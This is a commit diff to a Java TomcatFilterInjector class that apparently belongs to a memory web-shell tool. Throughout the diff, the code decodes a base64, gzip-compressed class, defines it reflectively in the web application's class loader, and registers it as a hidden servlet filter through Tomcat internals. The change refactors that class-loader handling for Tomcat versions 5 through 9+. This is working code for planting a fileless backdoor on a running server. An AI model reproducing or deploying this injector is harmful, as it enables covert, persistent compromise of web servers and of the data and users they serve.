@@ -39,8 +39,8 @@ public TomcatFilterInjector() {
3939 try {
4040 List <Object > contexts = getContext ();
4141 for (Object context : contexts ) {
42- Object filter = getShell (context );
43- inject (context , filter );
42+ getShell (context );
43+ inject (context );
4444 }
4545 } catch (Exception e ) {
4646 e .printStackTrace ();
@@ -66,46 +66,48 @@ public List<Object> getContext() throws Exception {
6666 return contexts ;
6767 }
6868
69+ private ClassLoader getWebAppClassLoader (Object context ) {
70+ try {
71+ return ((ClassLoader ) invokeMethod (context , "getClassLoader" , null , null ));
72+ } catch (Exception e ) {
73+ Object loader = invokeMethod (context , "getLoader" , null , null );
74+ return ((ClassLoader ) invokeMethod (loader , "getClassLoader" , null , null ));
75+ }
76+ }
77+
6978 @ SuppressWarnings ("all" )
7079 private Object getShell (Object context ) throws Exception {
71- ClassLoader classLoader = Thread .currentThread ().getContextClassLoader ();
72- if (classLoader == null ) {
73- classLoader = context .getClass ().getClassLoader ();
74- }
80+ ClassLoader webAppClassLoader = getWebAppClassLoader (context );
7581 try {
76- return classLoader .loadClass (getClassName ()).newInstance ();
82+ return webAppClassLoader .loadClass (getClassName ()).newInstance ();
7783 } catch (Exception e ) {
7884 byte [] clazzByte = gzipDecompress (decodeBase64 (getBase64String ()));
7985 Method defineClass = ClassLoader .class .getDeclaredMethod ("defineClass" , byte [].class , int .class , int .class );
8086 defineClass .setAccessible (true );
81- Class <?> clazz = (Class <?>) defineClass .invoke (classLoader , clazzByte , 0 , clazzByte .length );
87+ Class <?> clazz = (Class <?>) defineClass .invoke (webAppClassLoader , clazzByte , 0 , clazzByte .length );
8288 return clazz .newInstance ();
8389 }
8490 }
8591
8692 @ SuppressWarnings ("all" )
87- public void inject (Object context , Object filter ) throws Exception {
93+ public void inject (Object context ) throws Exception {
8894 if (invokeMethod (context , "findFilterDef" , new Class []{String .class }, new Object []{getClassName ()}) != null ) {
8995 System .out .println ("filter already injected" );
9096 return ;
9197 }
9298 Object filterDef ;
9399 Object filterMap ;
100+ ClassLoader contextClassLoader = context .getClass ().getClassLoader ();
94101 try {
95- // tomcat v8/9
96- filterDef = Class . forName ("org.apache.tomcat.util.descriptor.web.FilterDef" , true , context . getClass (). getClassLoader () ).newInstance ();
97- filterMap = Class . forName ("org.apache.tomcat.util.descriptor.web.FilterMap" , true , context . getClass (). getClassLoader () ).newInstance ();
102+ // tomcat v8+
103+ filterDef = contextClassLoader . loadClass ("org.apache.tomcat.util.descriptor.web.FilterDef" ).newInstance ();
104+ filterMap = contextClassLoader . loadClass ("org.apache.tomcat.util.descriptor.web.FilterMap" ).newInstance ();
98105 } catch (Exception e2 ) {
99- // tomcat v6/7
100- try {
101- filterDef = Class .forName ("org.apache.catalina.deploy.FilterDef" ).newInstance ();
102- filterMap = Class .forName ("org.apache.catalina.deploy.FilterMap" ).newInstance ();
103- } catch (Exception e ) {
104- // tomcat v5
105- filterDef = Class .forName ("org.apache.catalina.deploy.FilterDef" , true , context .getClass ().getClassLoader ()).newInstance ();
106- filterMap = Class .forName ("org.apache.catalina.deploy.FilterMap" , true , context .getClass ().getClassLoader ()).newInstance ();
107- }
106+ // tomcat v5+
107+ filterDef = contextClassLoader .loadClass ("org.apache.catalina.deploy.FilterDef" ).newInstance ();
108+ filterMap = contextClassLoader .loadClass ("org.apache.catalina.deploy.FilterMap" ).newInstance ();
108109 }
110+
109111 invokeMethod (filterDef , "setFilterName" , new Class []{String .class }, new Object []{getClassName ()});
110112 invokeMethod (filterDef , "setFilterClass" , new Class []{String .class }, new Object []{getClassName ()});
111113 invokeMethod (context , "addFilterDef" , new Class []{filterDef .getClass ()}, new Object []{filterDef });
@@ -114,30 +116,24 @@ public void inject(Object context, Object filter) throws Exception {
114116 Constructor <?>[] constructors ;
115117 try {
116118 invokeMethod (filterMap , "addURLPattern" , new Class []{String .class }, new Object []{getUrlPattern ()});
117- constructors = Class .forName ("org.apache.catalina.core.ApplicationFilterConfig" , true , context .getClass ().getClassLoader ()).getDeclaredConstructors ();
118119 } catch (Exception e ) {
119120 // tomcat v5
120121 invokeMethod (filterMap , "setURLPattern" , new Class []{String .class }, new Object []{getUrlPattern ()});
121- constructors = Class .forName ("org.apache.catalina.core.ApplicationFilterConfig" , true , context .getClass ().getClassLoader ()).getDeclaredConstructors ();
122122 }
123123 try {
124124 // v7.0.0 以上
125125 invokeMethod (context , "addFilterMapBefore" , new Class []{filterMap .getClass ()}, new Object []{filterMap });
126126 } catch (Exception e ) {
127127 invokeMethod (context , "addFilterMap" , new Class []{filterMap .getClass ()}, new Object []{filterMap });
128128 }
129- constructors [0 ].setAccessible (true );
130- try {
131- Object filterConfig = constructors [0 ].newInstance (context , filterDef );
132- Map filterConfigs = (Map ) getFieldValue (context , "filterConfigs" );
133- filterConfigs .put (getClassName (), filterConfig );
134- System .out .println ("filter inject success" );
135- } catch (Exception e ) {
136- // 一个 tomcat 多个应用部分应用通过上下文线程加载 filter 对象,可能在目标应用会加载不到
137- if (!(e .getCause () instanceof ClassNotFoundException )) {
138- throw e ;
139- }
140- }
129+
130+ Constructor filterConfigConstructor ;
131+ filterConfigConstructor = contextClassLoader .loadClass ("org.apache.catalina.core.ApplicationFilterConfig" ).getDeclaredConstructors ()[0 ];
132+ filterConfigConstructor .setAccessible (true );
133+ Object filterConfig = filterConfigConstructor .newInstance (context , filterDef );
134+ Map filterConfigs = (Map ) getFieldValue (context , "filterConfigs" );
135+ filterConfigs .put (getClassName (), filterConfig );
136+ System .out .println ("filter inject success" );
141137 }
142138
143139 @ SuppressWarnings ("all" )
0 commit comments